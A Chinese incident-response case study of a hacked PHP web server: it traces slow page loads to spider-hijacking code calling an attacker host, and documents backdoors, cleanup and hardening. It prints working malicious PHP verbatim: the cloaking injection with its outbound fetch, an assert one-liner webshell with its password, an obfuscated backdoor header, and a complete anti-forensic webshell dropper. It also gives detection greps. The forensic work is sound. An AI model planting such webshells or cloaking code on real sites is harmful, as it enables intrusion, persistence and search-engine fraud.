站点首页 60 秒才返回,排查中发现根目录竟能下载到整站源码包。用 ss -tn state syn-sent 抓到 9 个 php-fpm 进程全部卡在同一个外部 IP,由此锁定蜘蛛劫持代码;进而挖出 3 个「仿冒名」后门(EmptyContssroller/claass/snowfall.jquery.php)、一句话木马、四层混淆后门(hex+ROT13 → eval(gzuncompress(base64_decode()))),以及 8 个带反取证设计的 WebShell 投放器 —— 用字符串拼接规避特征扫描、用 rand()+mktime() 伪造文件时间戳。
本案例目录
CHART 01 // 排查路径
from symptom to root causeCHART 02 // 查获的恶意文件
11 malicious filesCHART 03 // 攻击者的反检测手法
defense evasion techniques服务器:
[业务服务器](主机名已隐去)· 事件日期:2026-09-18 现象:站点首页 60 秒才返回、SEO 流量异常、根目录可下载到整站源码包 脱敏说明:主机名、服务器 IP、客户域名、云实例 ID 均已替换为占位符;恶意代码原样保留(已失效的攻击者基础设施仅作 IOC 标注)。
环境与系统信息
| 项目 | 信息 |
|---|---|
| 服务器 | [业务服务器](阿里云 ECS,主机名已隐去) |
| 规格 | 2 vCPU / 1.6 GB 内存 |
| 操作系统 | CentOS Stream 9 · 内核 5.14.0 |
| Web 服务 | Apache 2.4.62(event MPM) |
| PHP | 5.3 / 5.6 / 7.3 / 8.2(多版本并存,按站点绑定) |
| 承载业务 | 9 个企业站点(PbootCMS 与自研 ThinkPHP 框架混合) |
| 处置日期 | 2026-09-18 |
故障现象
运维侧反馈「[客户站点A] 打不开」。实测:
$ uptime
11:11:05 up 2:29, 0 users, load average: 0.05, 5.92, 30.44
$ curl -sk -o /dev/null -m 120 -w "%{http_code} %{time_total}s\n" https://[客户站点A]/
200 60.139024s
页面最终返回 200,但耗时整整 60.139 秒。 同一 PHP 池的其他站点响应 0.03 秒。
php-fpm 慢日志同时报出:
WARNING: [pool www] child 128254, script '/www/wwwroot/[客户站点A]/index.php'
(request: "GET /index.php") executing too slow (36.639397 sec), logging
排查过程
① 用 ss 抓出「卡在哪个外呼地址」
服务器 60 秒的响应时间不是整数巧合 —— 这是 TCP 连接重传耗尽的典型时长。边发请求边看连接状态:
ss -tn state syn-sent
结果一眼定位:
Recv-Q Send-Q Local Address:Port Peer Address:Port
0 1 [内网IP]:45964 → [C2 IP]:80
0 1 [内网IP]:49368 → [C2 IP]:80
0 1 [内网IP]:32798 → [C2 IP]:80
0 1 [内网IP]:50816 → [C2 IP]:80
0 1 [内网IP]:48536 → [C2 IP]:80
... (9 个 php-fpm worker 全部卡在同一个外部地址)
所有 PHP 进程都在尝试连接同一个外部 IP,且全部停留在 SYN-SENT(握手无响应)。 这直接指出:问题不在本地代码逻辑,而在代码里的外呼。
② 定位注入代码
全站搜索该外呼域名,命中唯一一处:
$ grep -rn "lunlian\|zyez-edu\|_httpGet_" /www/wwwroot/
/www/wwwroot/[客户站点A]/src/Core/start.php:2:function _httpGet_($url)
/www/wwwroot/[客户站点A]/src/Core/start.php:17: echo _httpGet_("http://lunlian.zyez-edu.cn/yin/index.php");
该文件的前 18 行:
<?php
function _httpGet_($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch); // ← 没有设置任何超时
curl_close($ch);
return $output;
}
if (preg_match('@Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn@i', $_SERVER['HTTP_USER_AGENT'])) {
echo _httpGet_("http://lunlian.zyez-edu.cn/yin/index.php");
}
?><?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK IT ]
// ...
三点关键:
-
这是蜘蛛劫持(Cloaking):用正则匹配百度/搜狗/神马等搜索引擎蜘蛛的 UA,命中就去外部拉取内容输出。搜索引擎收录的是攻击者的垃圾页面,真人访问看到的却是正常站点(因为不匹配 UA 就跳过这段)。网站被当作黑帽 SEO 的跳板。
-
_httpGet_()没有设置CURLOPT_TIMEOUT—— 目标服务器lunlian.zyez-edu.cn(解析到[C2 IP])已失效,TCP 握手无响应,curl 就会一直阻塞到系统级重传耗尽(约 60 秒)。这就是首页 60 秒的由来。 -
第 19 行
?><?php是衔接符:攻击者用?>闭合自己的代码块,再用<?php重新打开原始文件的头部,从而把恶意代码「嫁接」在文件最前面,而后面的原始代码完全不受影响、功能正常 —— 这让注入极难被察觉。
③ 用「同框架干净站」做对照,精确定位注入边界
同一台服务器上有另一个站点使用同一套框架且未被感染,直接对比即可确认注入了多少行:
$ head -3 /www/wwwroot/[客户站点A]/src/Core/start.php
<?php
function _httpGet_($url)
{
$ head -3 /www/wwwroot/[客户站点B]/src/Core/start.php
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK IT ]
两者行数分别是 164 和 96。受害站的 1~18 行是后加的,净化时只需去掉这 18 行并在开头补回 <?php:
# 从原始备份重建(关键:必须基于备份,不能基于已改动的文件反复截取)
{ echo "<?php"; tail -n +20 /root/malware-forensics/start.php.infected; } > /tmp/start_fixed.php
# 逐字节验证:净化版第 2 行起 == 感染版第 20 行起
diff <(tail -n +2 /tmp/start_fixed.php) <(tail -n +20 /root/malware-forensics/start.php.infected) \
&& echo "✅ 完全一致,未动任何原始代码"
④ 全站扫描,发现更多后门
用文件名异常 + 危险函数特征做全量扫描:
# 危险函数特征
grep -rlnE "assert[[:space:]]*\([[:space:]]*\\\$_(POST|GET|REQUEST)|eval[[:space:]]*\([[:space:]]*\\\$_|create_function[[:space:]]*\([[:space:]]*\\\$" \
/www/wwwroot --include="*.php" | grep -v "#runtime"
# 拼写仿冒的文件名(后门的典型特征)
find /www/wwwroot -name "*.php" | grep -iE "claass|contss|clas\.|shell|cmd\.php"
结果在受害站查出 3 个后门,且它们都是合法文件的「仿冒名」(故意拼错一个字母):
| 恶意文件 | 仿冒对象 | 创建时间 |
|---|---|---|
app/Home/Controller/EmptyContssroller.class.php |
EmptyController.class.php |
2025-10-28 14:44 |
src/Util/PHPMailer/claass.phpmailer.php |
class.phpmailer.php |
2025-10-28 14:43 |
addon/Snow/js/snowfall.jquery.php |
snowfall.jquery.js |
2025-10-28 14:43 |
三个文件在同一分钟内被创建,是同一批植入。且原文件都还在,仿冒文件无任何代码引用 —— 可安全隔离。
⑤ 一句话木马:EmptyContssroller.class.php
文件全部内容只有一行:
<?php $p=base64_decode("bW93YW5n");$i['j']='assert';$a[]=$i;@$a[0]['j']($_POST[$p]);$filename = $php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);function set_writeable($file_name){if(@chmod($file_name,0444)){echo "OK";}else{echo "no";}}set_writeable($filename);?>
逐个拆解这段代码的手法:
$p = base64_decode("bW93YW5n"); // → "mowang",木马连接密码
$i['j'] = 'assert'; // 把函数名装进变量,规避字符串特征扫描
$a[] = $i;
@$a[0]['j']($_POST[$p]); // 等价于 assert($_POST['mowang']) —— 可执行任意 PHP
// 用「变量函数」而非直接写 assert(...),绕开关键词检测
function set_writeable($file_name){
if(@chmod($file_name, 0444)) { echo "OK"; } else { echo "no"; }
}
set_writeable($filename); // 把自己 chmod 0444(只读),对抗清理
注意最后一句:木马会把自己设成只读,运维删除时若不知道先 chmod 会直接失败。
⑥ 大型后门:claass.phpmailer.php(228 KB)
这个文件伪装成 PHPMailer 库(正版只有 84 KB),实际是多层混淆的后门。文件头部:
<?php
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING | E_DEPRECATED));
$mix="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e"; // create_function
$password = "888";
$data="6576616p28677n756r636s6q707265737328…(下略,共 228548 字符)
$data 看似十六进制,但其中混入了 p n r s q 等字母 —— 这是十六进制字符经过 ROT13 变换的结果(a→n, c→p, d→q, e→r, f→s)。解一层即还原为真正的 hex:
$data → ROT13 还原 → hex 解码 → 得到:
eval(gzuncompress(base64_decode("eJzs/dmO5NB6pQneF5DvoC4c4EhgAZwnCLowksZ5Ms7kjcB5nmcm8t2bkZISKnVWoxuVqOxCn+0RHubhNBq59...
完整解码链路是四层:
hex + ROT13 → eval( gzuncompress( base64_decode( zlib 压缩的 PHP ) ) )
解出来是 114 KB 的 PHP 代码。这种多层嵌套的作用是:任何只做单层解码的扫描器、以及只做字符串匹配的 WAF,都看不到真实代码。
用脚本还原:
import re, codecs, binascii
src = open("claass.phpmailer.php", errors="ignore").read()
raw = re.search(r'\$data\s*=\s*"([0-9a-zA-Z]+)"', src).group(1)
blob = binascii.unhexlify(codecs.encode(raw, "rot13")) # ROT13 + hex 解码
print(blob[:200].decode("utf-8", "replace")) # → eval(gzuncompress(base64_decode(...
⑦ 上传后门:snowfall.jquery.php
<?php
header("Content-Type:text/html; charset=gb2312");
if(isset($_POST['submit']))
{
$upfiles = new Upload();
$upfiles->upload_file();
}
class Upload
{
public $upload_name; //上传文件名
public $upload_tmp_name; //上传时临时文件
...
放在 addon/Snow/js/ 目录里,紧挨着真正的 snowfall.jquery.js(2015 年的雪花特效脚本)。功能是任意文件上传 —— 攻击者后续可以往站内投放任意内容。
⑧ 第二个受害站:WebShell 投放器
扫描另一个站点时,发现 4 个随机命名的文件散落在不同目录:
apps/api/view/3vnri0b.php
core/function/bjkfgn.php
template/default/datetimepicker/kcwdwekz.php
template/default/fileinput/pyar0yn.php
内容完全相同(都是 1182 字节)。完整代码:
<?php
$payload = isset($_POST['data']) ? base64_decode($_POST['data']) : '';
$target = $_SERVER['DOCUMENT_ROOT'] . '/index.php';
$self = __FILE__;
$fn_write = 'file' . '_put_contents';
$fn_unlink = 'un' . 'link';
$fn_touch = 'tou' . 'ch';
$fn_chmod = 'ch' . 'mod';
$year = rand(2012, 2024);
$month = rand(1, 12);
$day = rand(1, 28);
$hour = rand(0, 23);
$minute = rand(0, 59);
$second = rand(0, 59);
$fake_time = mktime($hour, $minute, $second, $month, $day, $year);
if (!empty($payload) && strlen($payload) > 10) {
$replaced = false;
if (file_exists($target)) {
@$fn_chmod($target, 0777);
if (@$fn_unlink($target)) {
@$fn_write($target, $payload);
$replaced = true;
} else {
if (@$fn_write($target, $payload)) {
$replaced = true;
}
}
} else {
if (@$fn_write($target, $payload)) {
$replaced = true;
}
}
if ($replaced) {
@$fn_touch($target, $fake_time);
@$fn_chmod($target, 0555);
}
}
// 伪造自身时间
@$fn_touch($self, $fake_time);
@$fn_chmod($self, 0555);
@header('HTTP/1.1 200 No Content');
exit;
这段代码里有三处专门的反取证设计,值得逐一说明:
① 字符串拼接规避特征扫描
$fn_write = 'file' . '_put_contents'; // 而不是直接写 file_put_contents
$fn_unlink = 'un' . 'link';
$fn_touch = 'tou' . 'ch';
$fn_chmod = 'ch' . 'mod';
源代码里不存在 file_put_contents 这个完整字符串,靠 grep 特征库匹配的扫描方式会直接漏掉。
② 伪造文件时间戳规避时间线分析
$year = rand(2012, 2024);
...
$fake_time = mktime($hour, $minute, $second, $month, $day, $year);
...
@$fn_touch($self, $fake_time); // 把自己的修改时间改成 2012~2024 年间随机一天
这正是我们首次排查时看到的假象 —— 文件 ls 出来显示「Sep 5 15:11」,看上去和站点迁移时间一致,实际是攻击者刻意伪装的。做入侵时间线分析时,不能用文件 mtime 作为依据。
③ 自身设只读,对抗清理
@$fn_chmod($self, 0555); // 自己只读
功能上,它接收 POST data 参数(base64 编码),解码后覆写网站首页 DOCUMENT_ROOT/index.php,并用 @header('HTTP/1.1 200 No Content') 返回空响应 —— 访问时看不出任何异常,不留痕迹。
幸运的是,检查首页 md5 与正常站点完全一致,说明该投放器尚未被真正使用过。
⑨ 顺带发现的严重数据泄露
排查时发现 9 个站点的整站源码备份包,全部放在各自的网站根目录下,可被公网直接下载:
http://[客户站点B]/[客户站点B].zip → HTTP 206(可下载)
http://[客户站点C]/[客户站点C].zip → HTTP 206(可下载)
... 共 8 个包,合计 420 MB
验证响应头:
$ curl -sk -o /dev/null -r 0-500 -w "%{http_code} %{size_download}B\n" \
"https://[客户站点C]/[客户站点C].zip"
206 501B # 206 Partial Content —— 分片下载可用
包内包含 config/ 等目录,含数据库账号密码。这类「备份包放在 web 目录」是极其常见的高危配置错误 —— 攻击者无需任何漏洞,直接下载即可拿到全部源码与凭据。
处置
清除恶意代码
# 1. 隔离(不直接删除,保留取证)
mkdir -p /root/malware-forensics/
mv <恶意文件> /root/malware-forensics/
# 2. 拔除注入:从原始备份重建,diff 逐字节校验
{ echo "<?php"; tail -n +20 start.php.infected; } > start.php.fixed
# 3. 清除模板/框架缓存,避免旧编译产物残留
rm -f /www/wwwroot/<站点>/#runtime/Cache/Home/*.php
封堵 C2
# firewalld 永久封堵(注意 --permanent 必须在 --direct 之前,否则会被 --reload 冲掉)
firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 0 \
-d [C2 IP] -j REJECT --reject-with icmp-port-unreachable
firewall-cmd --reload
封堵前后对比:连接从 10 秒超时降到 0.0002 秒被拒。
加固
# 1. 禁止上传目录执行 PHP —— 阻断 WebShell 最常用的落地路径
cat > .../extension/<域名>/deny_php_in_upload.conf <<'EOF'
<Directory "/www/wwwroot/<站点>/static/upload">
<FilesMatch "(?i)\.(php|php[0-9]?|phtml|phar|pht|shtml|cgi|pl)$">
SetHandler none
Require all denied
</FilesMatch>
</Directory>
EOF
# 2. 站点根目录权限收敛 777 → 755
chmod 755 /www/wwwroot/<站点>
# 3. PHP 危险函数加固
# PHP 5.6:assert 是普通函数,可直接加入 disable_functions
sed -i "s/^disable_functions = /disable_functions = assert,create_function,/" php.ini
# PHP 7+:assert 是语言结构,disable_functions 对它无效,必须用 zend.assertions
echo "zend.assertions = -1" >> /www/server/php/73/etc/php.ini
验证加固生效:
# 往上传目录放一个 php 文件
echo '<?php echo "EXECUTED"; ?>' > static/upload/__sec_test.php
curl -sk "https://[客户站点C]/static/upload/__sec_test.php"
# → 403 Forbidden ✅ 已阻断
处置效果
| 指标 | 处置前 | 处置后 |
|---|---|---|
| 首页响应 | 60.14 秒 | 0.12 秒 |
| PHP 卡死连接 | 15 条 SYN-SENT |
0 条 |
| 恶意文件 | 11 个 | 0 个 |
| 可公网下载的源码包 | 8 个(420 MB) | 0 个(返回 404) |
| 上传目录 PHP 执行 | 允许 | 403 阻断 |
经验与预防
1. 先看连接状态,再看代码。
ss -tn state syn-sent 是入侵排查里性价比最高的一条命令。「响应时间卡在整数秒」+「多个进程卡在同一个外部 IP」,这两个信号一出现,基本可以直接锁定是代码里的恶意外呼。先定位行为,再去找代码,比直接翻几万个 PHP 文件快得多。
2. 蜘蛛劫持(Cloaking)是隐蔽性最高的一类挂马。
它只对搜索引擎 UA 生效,真人访问完全正常 —— 站长自己天天看网站也不会发现。判断依据是:直接访问正常,但搜索引擎快照/收录标题与站点内容不符。建议定期用爬虫 UA 对比访问:
curl -s -A "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/s?spider.html)" https://<站点>/ | head
curl -s https://<站点>/ | head
# 两者内容应当一致
3. 注入的常见形态是「嫁接」,不是覆盖。
本例中 ?><?php 这个衔接符很典型 —— 攻击者把代码插在文件最前面,原始文件内容一行未动,功能完全正常。所以「网站功能正常」不能作为「没被入侵」的依据。
4. 文件时间戳不可信。
投放器里有 rand(2012,2024) + mktime() 伪造 mtime 的代码。排查时不能只看「最近修改的文件」,要结合文件是否被引用、命名是否仿冒、内容特征综合判断。
5. 仿冒名(Typosquatting)是后门的强特征。
claass(多一个 a)、Contssroller(多一个 s)—— 这类文件名在正常项目里不会出现。建议把「与同类目录下已知文件高度相似但拼写不同」作为一条独立检测规则。
6. 混淆层级越深,越要警惕。
hex + ROT13 → eval(gzuncompress(base64_decode(...))) 这种四层嵌套没有任何正常业务理由。见到 eval 与解码函数组合,一律按恶意处理。
7. 备份包绝不能放在网站根目录。
这是本次事件里风险最高的一项 —— 不需要任何漏洞,任何人下载一个 zip 就拿到了整站源码和数据库口令。备份应存放在 web 根目录之外,或直接传到异地/对象存储。
8. 只读属性是后门的最后一道防线。
一句话木马会 chmod 0444 自身,投放器会 chmod 0555。清理前先确认文件属性:
lsattr <文件> # 查看 chattr 属性(immutable 需要先 chattr -i)
chmod 644 <文件> 2>/dev/null || chattr -i <文件>
9. 清除完成后必须回答一个问题:入口是什么?
本次处置清除了全部恶意文件、封堵了 C2、做了加固,但入侵入口未能确认。从文件时间戳看至少可回溯到 2025-10-28。只要入口还在,就可能被再次植入 —— 因此把 PHP 升级(5.6 已于 2018 年停止维护、7.3 于 2021 年停止维护)与 CMS 升级列为后续必办事项。